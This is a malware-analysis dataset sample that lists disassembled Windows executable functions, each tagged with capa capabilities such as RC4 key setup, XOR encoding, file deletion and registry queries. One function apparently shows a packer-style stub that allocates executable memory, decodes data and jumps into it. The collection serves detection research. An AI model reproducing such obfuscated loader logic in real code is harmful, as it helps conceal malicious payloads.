joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4bdcb0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x51d520
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.005158d2
mov edi, dword [eax + 0xc]
xor ebp, ebp
cmp edi, ebp
jne 0x4bdce3
xor al, al
jmp 0x4bde0f
mov ebx, dword [esp + 0x28]
push 0xf1
and ebx, 0xffff
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, ebp
jne 0x4bdd05
xor al, al
jmp 0x4bde0f
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebp
jne 0x4bdd18
xor al, al
jmp 0x4bde0f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
cmp edi, ebp
jne 0x4bdd2c
xor al, al
jmp 0x4bde0f
xor eax, eax
xor ecx, ecx
mov ax, word [edi + 2]
push ebp
mov dword [esi + 0x14], eax
xor eax, eax
mov ax, word [edi + 4]
mov edx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
mov cx, word [edi + 6]
push ecx
push 5
push eax
push edx
lea ecx, [esi + 0x1c]
call fcn.00509cc7
test eax, eax
jne 0x4bdd60
xor al, al
jmp 0x4bde0f
mov eax, dword [esi + 0x34]
push eax
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.COMCTL32.dll_ImageList_SetBkColor]
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], 0x580fa4
mov dword [esp + 0x20], ebp
call fcn.005158d2
mov eax, dword [eax + 0xc]
push ebx
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
lea ecx, [esp + 0x14]
call fcn.00512822
mov edx, dword [esp + 0x14]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x10]
push 0xc0c0c0
neg eax
sbb eax, eax
and eax, edx
push eax
push ecx
call dword [sym.imp.COMCTL32.dll_ImageList_AddMasked]
lea ecx, [esp + 0x10]
call fcn.00512879
xor ecx, ecx
lea ebx, [edi + 8]
cmp word [edi + 6], cx
jbe 0x4bddf4
mov ax, word [ebx]
test ax, ax
je 0x4bdde6
mov edx, ecx
inc ecx
mov dword [esp + 0x28], ecx
push eax
push edx
mov ecx, esi
call fcn.004bde30
mov ecx, dword [esp + 0x28]
xor edx, edx
inc ebp
mov dx, word [edi + 6]
add ebx, 2
cmp ebp, edx
jl 0x4bddca
mov dword [esp + 0x10], method.CGdiObject.1.virtual_0
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 1
call fcn.00512879
mov al, 1
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x4be370
Capabilities:
Get graphical window text

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x50
push esi
mov esi, dword [esp + 0x58]
push edi
push eax
mov ecx, esi
call fcn.00513ed2
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x4be3b6
lea ecx, [esp + 8]
push 0x50
push ecx
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edx, [esp + 8]
push edx
call fcn.004f91d8
mov ecx, dword [esp + 0x68]
add esp, 4
pop edi
mov dword [ecx], eax
pop esi
add esp, 0x50
ret 0xc
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
mov eax, dword [edx]
push eax
push 0x5a6f3c
push ecx
call fcn.004faf34
add esp, 0xc
lea edx, [esp + 8]
push edx
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
pop edi
pop esi
add esp, 0x50
ret 0xc
Function at 0x4c52f0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dce73
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
mov ebx, ecx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [ebx + 0x18]
lea esi, [ebx + 0x18]
mov dword [ebp - 0x10], esp
push edi
push eax
mov dword [ebp - 0x14], ebx
call fcn.004cbe1f
add esp, 8
test eax, eax
jne 0x4c5331
xor edi, edi
jmp 0x4c5350
push 0
push edi
call fcn.004cbece
add esp, 8
cmp eax, 0xffffffff
push edi
je 0x4c5349
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
mov ecx, esi
call fcn.004d98cc
mov eax, dword [ebx + 0xc]
mov dword [ebp - 4], 0
test eax, eax
je 0x4c54c8
push 0xc
call fcn.004d9459
mov esi, eax
add esp, 4
mov dword [ebp + 8], esi
xor ebx, ebx
mov eax, 1
cmp esi, ebx
mov byte [ebp - 4], al
je 0x4c53a1
push edi
mov dword [esi + 4], ebx
mov dword [esi + 8], eax
call fcn.004d5f50
cmp eax, ebx
mov dword [esi], eax
jne 0x4c539f
cmp edi, ebx
je 0x4c539f
push 0x8007000e
call fcn.004d6095
mov ebx, esi
test ebx, ebx
mov byte [ebp - 4], 0
mov dword [ebp + 8], ebx
jne 0x4c53b6
push 0x8007000e
call fcn.004d6095
test ebx, ebx
mov byte [ebp - 4], 2
mov word [ebp - 0x24], 8
je 0x4c53c8
mov esi, dword [ebx]
jmp 0x4c53ca
xor esi, esi
push esi
call dword [sym.imp.OLEAUT32.dll_SysAllocStringByteLen]
push eax
push esi
call dword [sym.imp.OLEAUT32.dll_DllRegisterServer]
test eax, eax
mov dword [ebp - 0x1c], eax
jne 0x4c53ea
push 0x8007000e
call fcn.004d6095
mov esi, dword [ebp - 0x14]
mov byte [ebp - 4], 3
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x4c5402
push 0x80004003
call fcn.004d6095
mov ecx, dword [ebp + 0xc]
mov edi, dword [esi + 0xc]
push ecx
mov ecx, dword [ebp - 0x24]
sub esp, 0x10
mov eax, dword [edi]
mov edx, esp
push edi
mov dword [edx], ecx
mov ecx, dword [ebp - 0x20]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x1c]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x18]
mov dword [edx + 0xc], ecx
call dword [eax + 0x150]
mov esi, eax
test esi, esi
jge 0x4c5440
push 0x5ac2e7
push edi
push esi
call fcn.004d60a3
xor edx, edx
lea eax, [ebp - 0x24]
test esi, esi
sete dl
push eax
mov esi, edx
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
test eax, eax
jge 0x4c5461
push eax
call fcn.004d6095
test ebx, ebx
mov byte [ebp - 4], 0
je 0x4c5487
lea ecx, [ebx + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x4c5487
mov ecx, ebx
call fcn.004ca4e0
push ebx
call fcn.004d9482
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4cbece
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4cbeee
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004cdfb2
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4cbf11
test byte [esp + 8], 2
je 0x4cbf11
call fcn.004ce025
mov dword [eax], 0xd
call fcn.004ce02e
mov dword [eax], 5
jmp 0x4cbeea
xor eax, eax
ret

Function at 0x4d026e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5aced7
cmp edx, dword [eax]
je 0x4d0290
add eax, 8
inc ecx
cmp eax, 0x5acf67
jl 0x4d0281
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5aced7]
jne 0x4d03be
mov eax, dword [0x5b194b]
cmp eax, 1
je 0x4d0398
test eax, eax
jne 0x4d02c1
cmp dword [0x5b194f], 1
je 0x4d0398
cmp edx, 0xfc
je 0x4d03be
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4d02f8
lea eax, [ebp - 0x1a4]
push 0x582748
push eax
call fcn.004d2630
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004cd7b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4d033b
lea eax, [ebp - 0x1a4]
push eax
call fcn.004cd7b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x582744
push edi
call fcn.004cbf20
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x582728
push eax
call fcn.004d2630
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004d2640
lea eax, [ebp - 0xa0]
push 0x582724
push eax
call fcn.004d2640
push dword [esi + 0x5acedb]
lea eax, [ebp - 0xa0]
push eax
call fcn.004d2640
push 0x12010
lea eax, [ebp - 0xa0]
push 0x5826fc
push eax
call fcn.004d447f
add esp, 0x2c
pop edi
jmp 0x4d03be
lea eax, [ebp + 8]
lea esi, [esi + 0x5acedb]
push 0
push eax
push dword [esi]
call fcn.004cd7b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4e3bc0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x60175c]
xor edx, edx
cmp eax, edx
jne 0x4e3be6
xor eax, eax
mov byte [eax + 0x60165c], al
inc eax
cmp eax, 0x100
jl 0x4e3bce
mov dword [0x60175c], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x60165c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4e3c77
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4e3c4a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4e3c18
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4e3cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4e3d43
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4e3d2a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4ea6f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x51d77e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004eb010
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x58810c
call fcn.0050b743
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4ea783
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0050b743
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4ea77c
push 0
mov ecx, eax
call fcn.004e1800
mov dword [esi + 0xc], eax
jmp 0x4ea785
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4ea785
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x50dde2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x50de1a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0050be5d
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0050be35
jmp 0x50de26
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x50f5dd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x50f61f
call fcn.005158d2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x50f61f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x50f616
xor eax, eax
jmp 0x50f627
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0050f62d
pop edi
pop esi
pop ebx
ret 4
Function at 0x515e02
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x515e30
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x515e4e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00515d68
jmp 0x515e4e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x515e4e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00515d68
test edi, edi
mov eax, edi
jne 0x515e38
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40633c
pop dword [ebp - 0x4c]
mov eax, 0x40633c
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x9f565fc2
add dword [ebp - 0x5c], 0xaefbe589
mov dword [ebp - 0x58], 0x39280938
add dword [ebp - 0x58], 0xf90b430d
mov dword [ebp - 0x54], 0x1e9e13b
add dword [ebp - 0x54], 0x4a6262f3
mov dword [ebp - 0x50], 0x9a3984ad
sub dword [ebp - 0x50], 0x9a3984ad
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x32dee2fb
add eax, 0xcd618d65
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x4f843d56
add dword [ebp - 0x5c], 0x24ee2c00
mov dword [ebp - 0x58], 0x7808fd20
add dword [ebp - 0x58], 0xc9636455
mov dword [ebp - 0x54], 0x2439e2a5
add dword [ebp - 0x54], 0x3f3589c7
mov dword [ebp - 0x50], 0xbf59bd95
sub dword [ebp - 0x50], 0xbf59bd95
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x241a848c
add eax, 0xdc25ec74
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x32ced
push 0
call eax
mov ecx, 0x38c2
xor edx, edx
add edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x4c]
mov esi, 0x53782e99
xor dword [ebp - 0x40], ecx
mov edi, dword [ebx]
xor dword [ebp - 0x28], edx
xor edi, esi
xor dword [ebp - 0x3c], 0x561ad4a6
mov dword [edx], edi
sub dword [ebp - 0x1c], 0xe7c0ef6b
add edx, 0x6932491e
add edx, 0x96cdb6e6
add ebx, 0x7bdb1343
add ebx, 0x8424ecc1
loop 0x406449
add eax, 0xd6c8a820
add eax, 0x29382dbb
xor ebx, ebx
add ebx, eax
add eax, 0xb3b7224d
add eax, 0x4c48ddb8
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x402ac8
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404538
test esi, esi
jne 0x402afe
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404628
jmp 0x402b1c
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029dc
mov edi, eax
test esi, esi
je 0x402b1c
cmp dword [ebx], 0
je 0x402b1c
dec esi
jmp 0x402b05
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4035c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4a200c]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403658
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403638
xor eax, eax
push ebp
push 0x403631
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403674
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403638
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4a200c]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4a200c], ax
mov esp, ebp
pop ebp
ret

Function at 0x404338
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4a504c], 0
je 0x404399
cmp word [0x4a5220], 0xd7b2
jne 0x404361
cmp dword [0x4a5228], 0
jbe 0x404361
mov eax, 0x4a521c
call dword [0x4a5238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4a2054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4043c0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4a201c], 0
jne 0x4043b5
push 0
push 0x4a2074
push 0x4a2054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4044ec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.004027e4
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4a504d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4044b4
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x4060bc
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4062ec
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40613f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4062ec
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40613f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406308
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4061c8
xor eax, eax
push ebp
push 0x4061c1
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405f04
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4061a6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x406328
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x4061a6
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4061c8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4062e2
cmp byte [ebp - 0xd], 0
jne 0x40620f
cmp byte [ebp - 0x12], 0
je 0x4062e2
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406228
dec ebx
cmp byte [ebx], 0x2e
je 0x406237
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x406227
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4062e2
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406274
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4062e2
cmp byte [ebp - 0xd], 0
je 0x4062e2
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4062e2
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40907c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004049e8
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409095
test al, 0x10
jne 0x409099
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b050
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b089
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404628
jmp 0x40b092
mov eax, ebx
mov edx, esi
call fcn.0040458c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b09c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b0bd
mov al, byte [esp]
jmp 0x40b0bf
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40b744
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b5bc
mov eax, dword [0x4a3f18]
cmp byte [eax], 0
je 0x40b7ac
mov eax, dword [0x4a3c40]
call fcn.00402e94
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00409248
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40b7f4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40b7e2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4a3bd8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4a5718]
call fcn.00405ec8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40c580
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c5e4
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004047a0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408e70
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c5eb
lea eax, [ebp - 0xc]
call fcn.00404538
ret

Function at 0x41e0b4
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041df54
dec esi
jne 0x41e0d6
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret